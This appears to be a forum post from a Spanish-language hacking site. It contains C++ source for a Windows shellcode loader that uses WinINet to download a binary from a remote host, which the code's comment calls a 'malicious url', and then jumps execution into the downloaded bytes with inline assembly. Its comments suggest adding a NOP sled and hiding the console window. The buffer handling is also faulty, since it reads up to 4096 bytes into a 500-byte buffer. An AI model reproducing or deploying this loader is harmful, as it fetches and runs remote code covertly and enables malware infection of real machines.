Foro de elhacker.net

	

    //include library wininet this have a funtions InternetOpen(),InternetOpenUrl(),InternetReadFile(),InternetCloseHandle(),
    #include <windows.h>
    #include<iostream>
    #include<cstring>
    #include<Wininet.h>
    using namespace std;
    //this is a buffer with shellcode data in .bss section
    unsigned char DataReceived[500];
    int main(){
        int i;
        //this configure a HTTP agent to surf
      HINTERNET connect = InternetOpen("MyBrowser",INTERNET_OPEN_TYPE_PRECONFIG,NULL, NULL, 0);
        //if for validate connection.
       if(!connect){
          cout<<"Connection Failed or Syntax error";
          return 0;
       }
     //Open a malicious url
    HINTERNET OpenAddress = InternetOpenUrl(connect,"http://192.168.16.2/ascii.bin", NULL, 0, INTERNET_FLAG_PRAGMA_NOCACHE|INTERNET_FLAG_KEEP_CONNECTION, 0);
     
     //this check the handler for URL
       if ( !OpenAddress )
       {
          DWORD ErrorNum = GetLastError();
          cout<<"Failed to open URL \nError No: "<<ErrorNum;
          InternetCloseHandle(connect);
          return 0;
       }
     
     
       DWORD NumberOfBytesRead = 0;
       
       //this recovery a file on server and save data into DataReceived
       while(InternetReadFile(OpenAddress, DataReceived, 4096, &NumberOfBytesRead) && NumberOfBytesRead )
       {
       //this print the data in format \x00 you can delete this routine
       for(i=0;i<sizeof DataReceived; i++ ){
                       
                       printf("\\x%02x",DataReceived[i]);
                         
                        }
       /*this routine is a other implementattion of shellcode-test but in this routine i use  __asm () directive for call asm intrucctions.
       1)first i store a pointer to buffer in EAX register
       2)push eax, Pointer to DataReceived in stack now esp point to first 4 bytes of shellcode
       3)the ret instruction put the value of esp+4 into eip and pass the execution.
       4)finally the shellcode in DataReceived is executed
       5)all handler is closed.
       NOTA:
            you can put a nopsled before shellcode for estabilish execution .
            use freeconsole for hidden a Dos Windows
       */
    __asm ("lea _DataReceived, %eax");
    __asm ("push %eax");
    __asm ("ret");
       }
     
       InternetCloseHandle(OpenAddress);
       InternetCloseHandle(connect);
     
       return 0;
    }